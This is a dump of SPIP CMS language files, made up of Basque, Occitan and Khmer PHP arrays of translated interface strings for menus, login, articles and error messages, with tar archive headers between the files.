'ical_texte_rss_articles2' => 'Gune honetako artikuluen «backend» delako fitxategia hurrengo helbidean dago:',
'ical_texte_rss_breves' => 'Badago gainera gune honen berri laburrak dituen fitxategi bat. Atalaren zenbakia emanda, honen berri laburrak bakarrik lor daitezke.',
'icone_a_suivre' => 'Nere eginkizunak',
'icone_admin_site' => 'Gunearen administrazioa',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Laguntza',
'icone_articles' => 'Artikuluak',
'icone_auteurs' => 'Egileak',
'icone_brouteur' => 'Nabigazio bizkorra',
'icone_configuration_site' => 'Gunearen konfigurazioa',
'icone_configurer_site' => 'Zure gunea konfiguratu',
'icone_creer_nouvel_auteur' => 'Egile berri bat eratu',
'icone_creer_rubrique' => 'Atal berri bat eratu',
'icone_creer_sous_rubrique' => 'Azpi-atal berri bat eratu',
'icone_deconnecter' => 'Deskonektatu',
'icone_discussions' => 'Eztabaidak',
'icone_doc_rubrique' => 'Atalen dokumentuak',
'icone_ecrire_article' => 'Artikulu berri bat idatzi',
'icone_edition_site' => 'Gunearen edizioa',
'icone_gestion_langues' => 'Hizkuntzen gestioa',
'icone_informations_personnelles' => 'Informazio pertsonalak',
'icone_interface_complet' => 'Interfaze osoa',
'icone_interface_simple' => 'Interfaze bakuna',
'icone_maintenance_site' => 'Gunearen mantentze-lana',
'icone_messagerie_personnelle' => 'Mezularitza pertsonala',
'icone_repartition_debut' => 'Banaketa hasieratik erakutsi ',
'icone_rubriques' => 'Atalak',
'icone_sauver_site' => 'Gunearen segurtasun kopia egin',
'icone_site_entier' => 'Gune osoa',
'icone_sites_references' => 'Aipatutako guneak',
'icone_statistiques' => 'gunearen estatistikak',
'icone_suivi_activite' => 'Gunearen bizitzaren jarraipena egin',
'icone_suivi_actualite' => 'Gunearen bilakaera',
'icone_suivi_pettions' => 'Eskaeren gestioa',
'icone_suivi_revisions' => 'Artikuluen aldaketak',
'icone_supprimer_document' => 'Dokumentu hau kendu',
'icone_supprimer_image' => 'Irudi hau kendu',
'icone_tous_articles' => 'Zure artikulu guztiak',
'icone_tous_auteur' => 'Egile guztiak',
'icone_tous_visiteur' => 'Bisitari guztiak',
'icone_visiter_site' => 'Gune publikoa bisitatu',
'icone_voir_en_ligne' => 'Linean ikusi',
'img_indisponible' => 'irudi erabilezina',
'impossible' => 'Ezinezkoa',
'info_a_suivre' => 'NIRE LANAK »',
'info_acces_interdit' => 'Sarrera debekatua',
'info_acces_refuse' => 'Sarrera ukatuta',
'info_action' => 'Ekintza : @ekintza@',
'info_administrer_rubriques' => 'Atal hau eta bere azpi-atalak kudeatzen ahal dituzu',
'info_adresse_non_indiquee' => 'Ez duzu frogatu nahi duzun helbidea ipini !',
'info_aide' => 'Laguntza :',
'info_ajouter_mot' => 'Hitz hau gehitu',
'info_annonce' => 'Iragarpena',
'info_annonces_generales' => 'Iragarki orokorrak',
'info_article_propose' => 'Artikulua proposatuta',
'info_article_publie' => 'Artikulu argitaratua',
'info_article_redaction' => 'Artikulua idazteko bidean dago',
'info_article_refuse' => 'Artikulu ezeztatuta',
'info_article_supprime' => 'Artikulu ezabatua',
'info_articles' => 'Artikuluak',
'info_articles_a_valider' => 'Egiaztatuak izan behar diren artikuluak',
'info_articles_nb' => '@nb@ artikulu',
'info_articles_proposes' => 'Proposatutako artikuluak',
'info_articles_un' => 'Artikulu 1',
'info_auteurs_nombre' => 'Egileak :',
'info_authentification_ftp' => 'Baimena (FTP-aren bidez).',
'info_breves_2' => 'laburrak',
'info_breves_nb' => '@nb@ berri-labur',
'info_breves_un' => 'Berri-labur 1',
'info_connexion_refusee' => 'Konexioa errefusatu da',
'info_contact_developpeur' => 'Programatzaile batekin kontaktuan jarri behar duzu.',
'info_contenance' => 'Gune honek duena :',
'info_contribution' => 'foroko ekarpenak',
'info_copyright' => '@spip@ software librea da, @lien_gpl@ banatua.',
'info_copyright_doc' => 'Argibide gehiago izateko, jo helbide honetara: <a href="@spipnet@">http://www.spip.net/eu</a>.',
'info_copyright_gpl' => 'GPL lizentziarekin',
'info_cours_edition' => 'Bukatu gabe utzi dituzun artikuluak',
'info_creer_repertoire' => 'Fitxategi edo karpeta bat sortu behar duzu, eta hari izen hau jarri :',
'info_creer_repertoire_2' => '<b>@repertoire@</b>, azpidirektorioan, eta ondotik :',
'info_creer_vignette' => 'miniaturaren sorkuntza automatikoa',
'info_creerdansrubrique_non_autorise' => 'Behar diren eskubideak ez dituzu atal honetan eduki bat eratzeko.',
'info_deplier' => 'Desplegatu',
'info_descriptif_nombre' => 'deskribapena(k):',
'info_description' => 'Deskribapena :',
'info_description_2' => 'Deskribapena :',
'info_dimension' => 'Neurriak :',
'info_documents_nb' => '@nb@ dokumentu',
'info_documents_un' => 'Dokumentu 1',
'info_ecire_message_prive' => 'Mezu pribatu bat idatzi',
'info_email_invalide' => 'Posta elektronikoko helbidea ez da zuzena.',
'info_en_cours_validation' => 'Idaztear dituzun artikuluak',
'info_en_ligne' => 'Une honetan linean :',
'info_envoyer_message_prive' => 'Mezu pribatua bidali egile honi',
'info_erreur_requete' => 'Errorea eskabidean:',
'info_erreur_squelette2' => 'Ez dago <b>@fichier@</b> eskeletorik erabilgarri...',
'info_erreur_systeme' => 'Akatsa sistema (errno @errsys@)',
'info_erreur_systeme2' => 'Disko gogorra beteta edo datubasea hondatuta egon daiteke.
Basea konpontzen saiatu, edo zure ostalaitzea kontaktatu.', # MODIF
'info_fini' => 'Bukatuta!',
'info_format_image' => 'Miniaturendako erabil daitezkeen irudi-formatuak @gd_formats@.',
'info_format_non_defini' => 'formatua ez dago definitua',
'info_grand_ecran' => 'Pantaila handia',
'info_image_aide' => 'LAGUNTZA',
'info_image_process_titre' => 'Miniaturen sorkuntzarako metodoa',
'info_impossible_lire_page' => 'Errorea ! Ezinezkoa @test_proxy@ orrialdea irakurtzea"proxy"-aren bidez ',
'info_installation_systeme_publication' => 'Argitarapen sistemaren instalazioa...',
'info_installer_documents' => '@upload@ direktorioan dauden dokumentu guztiak automatikoki instalatzen ahal dituzu.',
'info_installer_ftp' => 'Administrazio eskubideekin, @upload@ karpetan fitxategiak instala ditzakezu (FTP bidez), ondotik zuzenean hemen hautatu ahal izateko.',
'info_installer_images' => 'JPEG, GIF eta PNG formatudun irudiak ezar ditzakezu.',
'info_installer_images_dossier' => 'Irudiak instalatu @upload@ karpetan gero zuzenean hemen hautatu ahal izateko.',
'info_interface_complete' => 'Interfaze osoa',
'info_interface_simple' => 'Interfaze bakuna',
'info_joindre_document_article' => 'Artikulu honi mota honetako dokumentuak erantsi ahal dizkiozu',
'info_joindre_document_rubrique' => 'Sekzio honi mota hunetako dokumentuak eransten ahal dizkiozu',
'info_joindre_documents_article' => 'Zure artikuluari mota huntako dokumentuak eransten ahal dizkiozu :',
'info_l_article' => 'artikulua',
'info_la_breve' => 'Laburra',
'info_la_rubrique' => 'Atala',
'info_langue_principale' => 'Gunearen hizkuntza nagusia',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixelak',
'info_les_auteurs_1' => '@les_auteurs@-engatik',
'info_logo_format_interdit' => '@formats@ formatuko logoak baizik baimenduak dira.',
'info_logo_max_poids' => 'Logoek @maxi@ baino gutxiago pisatu behar dute derrigorrez (artxiboak @actuel@ pisatzen du).',
'info_mail_fournisseur' => 'zure@hornitzailea.com',
'info_message_2' => 'MEZUA',
'info_message_supprime' => 'Mezua ezabatu da',
'info_messages_nb' => '@nb@ mezu',
'info_messages_un' => 'Mezu 1',
'info_mise_en_ligne' => 'Argitarapen data :',
'info_modification_parametres_securite' => 'segurtasun-parametroen aldaketa.',
'info_mois_courant' => 'Hilabete honetan:',
'info_mot_cle_ajoute' => 'Hurrengo gako-hitza artikulura gehitua izan da',
'info_multi_herit' => 'Hizkuntza lehenetsia',
'info_multi_langues_soulignees' => '<u>Azpimarratutako</u> hizkuntzek interfazeko testu guztien itzulpen bat eskaintzen dute.
Hizkuntzak horiek hautatzen badituzu, eremu publikoko elementu batzuk (datak, inprimakiak) automatikoki itzuliko dira.
Azpimarratu gabeko hizkuntzetarako, elementuak gunearen hizkuntza nagusian agertuko dira.',
'info_multilinguisme' => 'Hizkuntzaniztasuna',
'info_nom_non_utilisateurs_connectes' => 'Zure izena ez da ageri konektatutako pertsonen zerrendan',
'info_nom_utilisateurs_connectes' => 'Zure izena konektatuta dauden pertsonen zerrendan ageri da.',
'info_nombre_en_ligne' => 'Une honetan linean :',
'info_non_resultat' => '"@cherche_mot@" bilaketak ez du emaitzik eman',
'info_non_utilisation_messagerie' => 'Ez erabili barne-mezularitza.',
'info_nouveau_message' => 'MEZU BERRI BAT BADUZU',
'info_nouveaux_messages' => '@total_messages@ MEZU BERRI BADITUZU',
'info_numero_abbreviation' => 'Zk ',
'info_obligatoire' => 'Informazio hori beharrezkoa da',
'info_pense_bete' => 'Buruz ikasteko oroigarria',
'info_petit_ecran' => 'Pantaila txikia',
'info_petition_close' => 'Hetsitako petizioa',
'info_pixels' => 'pixelak',
'info_plusieurs_mots_trouves' => 'Zenbait gako-hitz aurkitu ditugu "@cherche_mot@-arako":',
'info_portfolio_automatique' => 'Album-orrialde automatikoa',
'info_premier_resultat' => '[lehen @debut_limit@ emaitzak; guztira, @total@]',
'info_premier_resultat_sur' => '[lehen @debut_limit@ emaitzak; guztira, @total@]',
'info_propose_1' => '[@nom_site_spip@] Proposatzen du: @titre@',
'info_propose_2' => 'Proposatutako artikulua
---------------',
'info_propose_3' => '"@titre@" artikulua argitaratua izateko proposatua izan da.',
'info_propose_4' => 'Begiratzera eta zure iritzia ematera gonbidatuta zaude',
'info_propose_5' => 'helbidean dagokizun foroan :',
'info_publie_01' => '"@titre@" artikulua baliozkotu du @connect_nom@(e)k.',
'info_publie_1' => '[@nom_site_spip@] Argitaratzen du: @titre@',
'info_publie_2' => 'Artikulu argitaratua
--------------',
'info_rechercher' => 'Bilatu',
'info_rechercher_02' => 'Bilatu :',
'info_remplacer_vignette' => 'Ikono lehenetsiaren ordez zuk aukeratutako irudi bat jarri :',
'info_rubriques_nb' => '@nb@ atal',
'info_rubriques_un' => 'Atal 1',
'info_sans_titre_2' => 'izenbururik gabe',
'info_selectionner_fichier' => '<i>Upload</i> direktorioko dokumentu bat hauta dezakezu',
'info_selectionner_fichier_2' => 'Dokumentu bat hautatu :',
'info_sites_nb' => '@nb@ gune',
'info_sites_un' => 'Gune 1',
'info_supprimer_vignette' => 'miniatura hau kendu',
'info_symbole_bleu' => 'Sinbolo <b>URDIN</b>ak oroigarri pertsonal bat adierazten du, hau da zerbait gogoratzeko modu bat.',
'info_symbole_jaune' => 'Sinbolo <b>hori</b>ak denentzako iragarpen bat adierazten du: gunearen administratzaileek bakarrik alda dezakete, eta idazle guztiek ikus dezakete.',
'info_symbole_vert' => 'Sinbolo <b>berdeak</b> guneko beste pertsonekin trukatutako mezuak adierazten ditu.',
'info_telecharger_nouveau_logo' => 'Logo berri bat igo:',
'info_telecharger_ordinateur' => 'Zure ordenagailutik igo :',
'info_tous_resultats_enregistres' => '[emaitza guztiak grabatuak dira]',
'info_tout_afficher' => 'Dena erakutsi',
'info_travaux_texte' => 'Leku hau oraindik konfiguratu gabe dago. Berantago itzuli…',
'info_travaux_titre' => 'Gunea aldatzeko bidean',
'info_trop_resultat' => 'Emaitza gehiegi "@cherche_mot@"-aren bilaketarako. Irizpideak zehaztu.',
'info_utilisation_messagerie_interne' => 'Gunearen barruko mezularitza erabiltzen duzu.',
'info_valider_lien' => 'lotura hau balidatu',
'info_verifier_image' => ', irudiak ondo bidali diren egiaztatu ezazu.',
'info_vignette_defaut' => 'Ikono lehenetsia',
'info_vignette_personnalisee' => 'Egokitutako irudia',
'info_visite' => 'bisita:',
'info_vos_rendez_vous' => 'Zure hitzorduak',
'infos_vos_pense_bete' => 'Zure oroigarriak',
// L
'label_ajout_id_rapide' => 'Laster gehitu',
'label_poids_fichier' => 'Tamaina',
'lien_afficher_icones_seuls' => 'Ikurrak soilik erakutsi',
'lien_afficher_texte_icones' => 'Ikurrak eta testua erakutsi',
'lien_afficher_texte_seul' => 'Testua soilik erakutsi',
'lien_liberer' => 'Askatu',
'lien_liberer_tous' => 'artikulu hauek askatu',
'lien_nouvea_pense_bete' => 'Oroigarri berria',
'lien_nouveau_message' => 'Mezu berria',
'lien_nouvelle_annonce' => 'Iragarpen berria',
'lien_petitions' => 'Eskaera',
'lien_popularite' => 'Arrakasta : @popularite@%',
'lien_racine_site' => 'Gunearen sustraia',
'lien_reessayer' => 'berriro saiatu',
'lien_repondre_message' => 'Mezu honi erantzun',
'lien_supprimer' => 'Kendu',
'lien_tout_afficher' => 'Dena Erakutsi',
'lien_visite_site' => 'Gune hau bisitatu',
'lien_visites' => '@visites@ bisita.',
'lien_voir_auteur' => 'Egile hau ikusi',
'ligne' => 'Lerro',
'login' => 'Konekzioa',
'login_acces_prive' => 'eremu pribaturako sarbidea',
'login_autre_identifiant' => 'beste identifikatzaile batekin konektatu',
'login_cookie_accepte' => 'Zure nabigatzailea konfiguratu onar ditzan (gune honetarako behintzat).',
'login_cookie_oblige' => 'Gune honetan segurtasunez identifikatzeko, "cookieak"onartu behar dituzu.',
'login_deconnexion_ok' => 'Deskonexioa eginda.',
'login_erreur_pass' => 'Pasahitz errorea.',
'login_espace_prive' => 'eremu pribatua',
'login_identifiant_inconnu' => '«@login@» identifikatzailea ezezaguna da.',
'login_login' => 'Identifikatzailea :',
'login_login2' => 'Login edo helbide elektronikoa:',
'login_login_pass_incorrect' => '(Identifikatzaile edo pasahitz okerra.)',
'login_motpasseoublie' => 'Pasahitza ahaztuta?',
'login_non_securise' => 'Kontuz, inprimaki hau ez da segurtatua.
Zure pasahitza sarean atzeman ahal izatea nahi ez baduzu, JavaScript-a aktibatu zure nabigatzailean eta',
'login_nouvelle_tentative' => 'Ahalegin berria',
'login_par_ici' => 'Erregistratuta zaude... hemendik...',
'login_pass2' => 'Pasahitza :',
'login_preferez_refuser' => '"Cookiak" errefusatzea nahiago baduzu, beste konexio modu bat dago (gutxiz seguruagoa) zure eskura :',
'login_recharger' => 'Orrialde hau berriz kargatu',
'login_rester_identifie' => 'Egun batzuetan identifikatuta geratu',
'login_retour_public' => 'Eremu publikora itzuli',
'login_retour_site' => 'Eremu publikora itzuli',
'login_retoursitepublic' => 'eremu publikora itzuli',
'login_sans_cookiie' => 'Identifikazioa "cookie" barik',
'login_securise' => 'Login segurua',
'login_sinscrire' => 'inskribatu',
'login_test_navigateur' => 'nabigatzaile proba/berkonexioa',
'login_verifiez_navigateur' => '(Hala ere,zure nabigatzaileak zure pasahitza memorizatu ez duela egiaztatu...)',
// M
'masquer_colonne' => 'Zutabe hau maskatu',
'masquer_trad' => 'Itzulpenak ezkutatu',
'module_fichiers_langues' => 'Hizkuntza-fitxategiak',
// N
'navigateur_pas_redirige' => 'Zure nabigatzaileak ez bazaitu automatikoki berriz eramaten, hemen klikatu jarraitzeko.',
'numero' => 'Zenbakia',
// O
'occurence' => 'Okurenzia',
'onglet_affacer_base' => 'Basea ezabatu',
'onglet_auteur' => 'Egilea',
'onglet_contenu_site' => 'Gunearen edukia',
'onglet_evolution_visite_mod' => 'Bilakaera',
'onglet_fonctions_avances' => 'Funtzio aurreratuak',
'onglet_informations_personnelles' => 'Informazio pertsonalak',
'onglet_interactivite' => 'Elkarreragin',
'onglet_messagerie' => 'Mezularitza',
'onglet_repartition_rubrique' => 'Atalkako banaketa ',
'onglet_save_restaur_base' => 'Segurtasun kopia sortu eta basea berrezarri',
'onglet_vider_cache' => 'Cachea hustu',
// P
'pass_choix_pass' => 'pasahitz berria aukeratu:',
'pass_erreur' => 'Errorea',
'pass_erreur_acces_refuse' => 'Errorea: dagoeneko ez duzu gune honetan sartzeko baimenik.',
'pass_erreur_code_inconnu' => '<b>Errorea :</b> kode hau ez dagokio gune honetan sartu ahal den bisitari bakar bati ere.',
'pass_erreur_non_enregistre' => '<b>Errorea :</b> @email_oubli@ helbidea ez dago erregistratuta gune honetan.',
'pass_erreur_non_valide' => '<b>Errorea :</b> @email_oubli@ helbide hau ez da zuzena.',
'pass_erreur_probleme_technique' => '<b>Errorea :</b> arazo tekniko bat dela eta, mezua ezin izanda bidali.',
'pass_espace_prive_bla' => 'Gune honetako eremu pribatua zabalik dago, inskripzio baten bitartez.
Behin erregistratuta, idazteko bidean dauden artikuluak kontsultatu, artikuluak proposatu eta foro guztietan parte hartzen ahalko duzu.',
'pass_forum_bla' => 'pertsona erregistratuei mugatutako foro batean parte hartzea eskatu duzu.',
'pass_indiquez_cidessous' => 'Lehen erregistratuta zinen helbide elektronikoa adierzai.
Zure sarbidea berreskuratzeko jarraitu behar duzun prozesua adierazten duen mezu bat jasoko duzu.',
'pass_mail_passcookie' => '(hau mezu automatikohau da)
Zure sarbidea berreskuratzeko @nom_site_spip@ gunerarako (@adresse_site@)
Hurrengo helbidera joan: @sendcookie@
Orduan pasahitza berri bat jarri eta gunera berriz konektatzen ahalko zara. ',
'pass_mot_oublie' => 'Pasahitza ahaztua',
'pass_nouveau_enregistre' => 'Zure pasahitz berria erregistratua izan da.',
'pass_nouveau_pass' => 'Pasahitz berria',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Pasahitza ahaztu dut',
'pass_procedure_changer' => 'Pasahitza aldatu aitzin, zure nortasuna baieztatu behar dugu. Horregatik zure kontuari lotutako helbide elektronikoa jakinarazi behar diguzu.',
'pass_quitter_fenetre' => 'Leiho honetatik irten',
'pass_rappel_login' => 'Gogoan izan: zure identifikatzailea (logina) hau da : «@login@».',
'pass_recevoir_mail' => 'Gunerako sarbidea nola berreskuratzen ahal duzun zehazten duen mezu bat jasoko duzu.',
'pass_retour_public' => 'Itzuli eremu publikora',
'pass_rien_a_faire_ici' => 'Hemen ez dago ezer egitekorik.',
'pass_vousinscrire' => 'Gune honetan izena eman',
'precedent' => 'aurrekoa',
'previsualisation' => 'Aurrebista',
'previsualiser' => 'Aurrebistaratu',
// R
'retour' => 'Itzulera',
// S
'spip_conforme_dtd' => 'SPIP-ek dokumentu hau bere DOCTYPE-ari konforme gisa konsideratzen du :',
'squelette' => 'eskeletoa',
'squelette_inclus_ligne' => 'eskeletoa barne, lerroa',
'squelette_ligne' => 'eskeletoa, lerroa',
'stats_visites_et_popularite' => '@visites@ bisitak; arrakasta : @popularite@',
'suivant' => 'hurrengoa',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ byte',
'texte_actualite_site_1' => 'Behin interfazera ohitua zarenean, klikatu «',
'texte_actualite_site_2' => 'interfaze osoa',
'texte_actualite_site_3' => '»-an,oraindik aukera gehiago dituena.',
'texte_creation_automatique_vignette' => 'Gune honek miniatura-sorkuntza automatikoa onartzen du hurrengo formatuetan : @gd_formats@. Inprimaki honekin instalatzen dituzun irudiek @taille_preview@ pixeletako ikonoak izango dituzte.',
'texte_documents_associes' => 'Hurrengo dokumentuak artikuluarekin elkartuak daude, baina ez dira zuzenean sartu. Eremu publikoaren formatuaren arabera, erantsitako dokumentuak bezala ager daitezke.',
'texte_erreur_mise_niveau_base' => 'Datu-basearen errorea eguneratzearen bidean.
<b>@fichier@</b> irudia ez da pasatu (@id_article@ artikulua).
Erreferentzia hau idatzi, eguneratzen berriz saiatu eta irudiak artikuluetan agertzen direla egiaztatu.',
'texte_erreur_visiteur' => 'Saiatu zira eremu pribatura sartzea onartua ez den login batekin.',
'texte_inc_auth_1' => '<b>@auth_login@</b> login-arekin sartu zinen, baina login hau ez dago basean.
Saiatu berriro beste login batekin.',
'texte_inc_auth_2' => 'berriro konektatu',
'texte_inc_auth_3' => ',ebentualki zure nabigatzailea itxi eta berrabiarazi.',
'texte_inc_config' => 'Orrialde hauetan egindako aldaketek zure gunearen funtzionamenduan eragin nabaria dute.
SPIP sistemaren funtzionamendura ohituta ez zauden bitartean, parte ez hartzea gomendatzen dizugu.
Modu orokorrean, orrialde hauetako kudeaketa zure guneko web arduradun nagusiari uztea biziki gomendatzen da.',
'texte_inc_meta_1' => 'Sistemak errore bat aurkitu du <code>@fichier@</code> artxiboa idaztean. Webgunearen administratzailea zarenez,',
'texte_inc_meta_2' => 'idazteko baimenak egiaztatu barik',
'texte_inc_meta_3' => '<code>@repertoire@</code> direktorioarena',
'texte_statut_en_cours_redaction' => 'Idazteko bidean',
'texte_statut_poubelle' => 'Paperontzira',
'texte_statut_propose_evaluation' => 'Azterketarako proposatuta',
'texte_statut_publie' => 'Argitaratuta',
'texte_statut_refuse' => 'Ezeztatuta',
'titre_ajouter_mot_cle' => 'Gako-hitz bat erantsi',
'titre_cadre_raccourcis' => 'Lasterbideak',
'titre_changer_couleur_interface' => 'Interfaz-eko kolorea aldatu',
'titre_image_admin_article' => 'Artikulu hau kudea dezakezu',
'titre_image_administrateur' => 'Administratzailea',
'titre_image_aide' => 'Osagai honi buruzko laguntza',
'titre_image_auteur_supprime' => 'Egile ezabatuta',
'titre_image_redacteur' => 'Baimenik gabeko idazlaria',
'titre_image_redacteur_02' => 'Idazlaria',
'titre_image_visiteur' => 'Bisitaria',
'titre_joindre_document' => 'Dokumentu bat erantsi',
'titre_mots_cles' => 'Gako-hitzak',
'titre_probleme_technique' => 'ADI EGON: arazo tekniko bat dela eta (SQL zerbitzaria) ezin da tokiaren atal honetara sartu',
'titre_publier_document' => 'Atal honetan dokumentu bat argitaratu',
'titre_signatures_attente' => 'Baldazio baten behako sinadurak',
'titre_signatures_confirmees' => 'Baieztatutako sinadurak',
'titre_statistiques' => 'Gunearen estatistikak',
'titre_titre_document' => 'Dokumentuaren izenburua',
'todo' => 'etortzekoak',
'trad_reference' => '(erreferentziazko artikulua)',
// Z
'zbug_balise_b_aval' => ': B begiztako baliza aurrerago',
'zbug_balise_inexistante' => '@from@ errorea: @balise@ etiketa ez da existitzen',
'zbug_balise_sans_argument' => 'Argumento eskasa @balise@ etiketan',
'zbug_boucle' => 'begizta',
'zbug_boucle_recursive_undef' => 'zehaztu gabeko begizta errekurtsiboa',
'zbug_calcul' => 'kalkulua',
'zbug_champ_hors_boucle' => '@champ@ eremua begiztaren kanpoan',
'zbug_champ_hors_motif' => '@champ@ eremua @motif@ arrazoiko begizta baten kanpoan',
'zbug_code' => 'kodea',
'zbug_critere_inconnu' => '@critere@ irizpide ezezaguna',
'zbug_distant_interdit' => 'kanpoko debekatua',
'zbug_doublon_table_sans_cle_primaire' => 'Errepikak lehen mailako giltza atomiko gabeko mahai batean',
'zbug_doublon_table_sans_index' => 'Errepikak indizerik gabeko mahai batean',
'zbug_erreur_boucle_double' => '@id@ begizta: definizio bikoitza',
'zbug_erreur_boucle_fermant' => '@id@ begizta : hertsidura-baliza falta da',
'zbug_erreur_boucle_syntaxe' => 'Begizta okerraren sintaxia',
'zbug_erreur_compilation' => 'Konpilazio errorea',
'zbug_erreur_execution_page' => 'Orrialdearen exekuzio errorea',
'zbug_erreur_filtre' => 'Errorea: « @filtre@ » iragazkia ez dago mugaturik',
'zbug_erreur_meme_parent' => '{meme_parent} irizpidea (FORUMS) edo (RUBRIQUES) begiztetan bakarrik aplikatzen da',
'zbug_erreur_squelette' => 'Errorea(k) eskeletoan',
'zbug_hors_compilation' => 'Konpilaziotik at',
'zbug_info_erreur_squelette' => 'Akatsa gunean',
'zbug_inversion_ordre_inexistant' => 'Existitzen ez den ordena baten alderanzketa',
'zbug_pagination_sans_critere' => '#PAGINATION {pagination} irizpiderik gabeko edo begizta errekursibo batean enplegatutako baliza ',
'zbug_parametres_inclus_incorrects' => 'Baliogabeko inklusio-parametruak : @param@',
'zbug_profile' => 'kalkulu denbora : @time@',
'zbug_resultat' => 'emaitza',
'zbug_serveur_indefini' => 'SQL zerbitzari zehaztugabea',
'zbug_statistiques' => 'SQL eskaereb estatistikak, datez sailkatuak',
'zbug_table_inconnue' => '«@table@» SQL taula ezezaguna',
'zxml_connus_attributs' => 'Atributu ezagunak',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atributu ezezaguna',
'zxml_inconnu_balise' => 'etiketa ez ezaguna',
'zxml_inconnu_entite' => 'entitate ezezaguna',
'zxml_inconnu_id' => 'ID ezezaguna',
'zxml_mais_de' => 'baina',
'zxml_non_conforme' => 'ez da ereduari konforme',
'zxml_non_fils' => 'ez da hune seme bat ',
'zxml_nonvide_balise' => 'etiketa ez hutsa',
'zxml_obligatoire_attribut' => 'beharrezko atributua, baina eskas egiten duena hemen : ',
'zxml_succession_fils_incorrecte' => 'succession des fils incorrecte',
'zxml_survoler' => 'survoler pour voir les corrects',
'zxml_valeur_attribut' => 'atributuaren balorea',
'zxml_vide_balise' => 'etiketa hutsa',
'zxml_vu' => 'jadanik ikusia'
);
?>
public_oc_lnc.php 0000666 00000007163 15252547432 0010074 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuèlh del sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Los articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'I a pas cap d’article a aquela adreiça ',
'aucun_auteur' => 'I a pas cap d’autor a aquela adreiça ',
'aucun_site' => 'I a pas cap de sit a aquela adreiça ',
'aucune_breve' => 'I a pas cap de brèva a aquela adreiça ',
'aucune_rubrique' => 'I a pas cap de rubrica a aquela adreiça ',
'autres_breves' => 'Autras brèvas',
'autres_groupes_mots_clefs' => 'Autres grops de mots clau',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Adieu-siatz',
// C
'commenter_site' => 'Comentar aquel sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrièr apondon',
'dernieres_breves' => 'Darrièras brèvas',
'derniers_articles' => 'Darrièrs articles',
'derniers_commentaires' => 'Darrièrs comentaris',
'derniers_messages_forum' => 'Darrièrs messatges publicats dins los forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En responsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia del sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Del meteis autor',
'meme_rubrique' => 'Dins la meteissa rubrica',
'memes_auteurs' => 'Dels meteisses autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Los messatges de forums mai recents',
'mots_clefs' => 'Mots clau',
'mots_clefs_meme_groupe' => 'Mots clau dins lo meteis grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Las novetats',
'nouveautes_web' => 'Novetats subre lo web',
'nouveaux_articles' => 'Articles nòus',
'nouvelles_breves' => 'Brèvas nòvas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Podètz participar a la vida d’aquel sit e prepausar los articles vòstres en vos inscriure çai jos. Recebretz còp sec un e-mail que vos indicarà vòstres còdes per accedir a l’espaci privat del sit.',
'plan_site' => 'Plan del sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podètz prepausar un sit d’apondre a aquesta rubrica:',
// R
'repondre_article' => 'Respondre a aquel article',
'repondre_breve' => 'Respondre a aquela brèva',
'resultats_recherche' => 'Resultats de la cèrca',
'retour_debut_forums' => 'Retorn al començament dels forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat amb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguida',
'sur_web' => 'Subre lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vaicí la letra d’informacion del sit',
'texte_lettre_information_2' => 'Aquela letra recensa los articles e brèvas publicats dempuèi', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vejatz en linha',
'voir_squelette' => 'veire l’esqueleta d’aquela pagina'
);
?>
spip_km.php 0000666 00000173733 15252547432 0006752 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'ភាសា ខ្មែរ [km-Cambodia]',
'0_liste' => 'spip-en@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'ត្រលប់ទៅ ផ្ទាំងប្រទាក់ក្រាហ្វិកពេញលេញ',
'access_mode_texte' => 'បង្ហាញចេញ ផ្ទាំងប្រទាក់សាមញ្ញ ជាអត្ថបទ',
'admin_debug' => 'កែកំហុស',
'admin_modifier_article' => 'កែប្រែ អត្ថបទនេះ',
'admin_modifier_auteur' => 'ប្តូរ អ្នកនិពន្ធនេះ',
'admin_modifier_breve' => 'ផ្លាស់ប្តូរ ពត៌មានខ្លីនេះ',
'admin_modifier_mot' => 'ផ្លាស់ប្តូរ ពាក្យគន្លឹះនេះ',
'admin_modifier_rubrique' => 'ផ្លាល់ប្តូរ ផ្នែកនេះ',
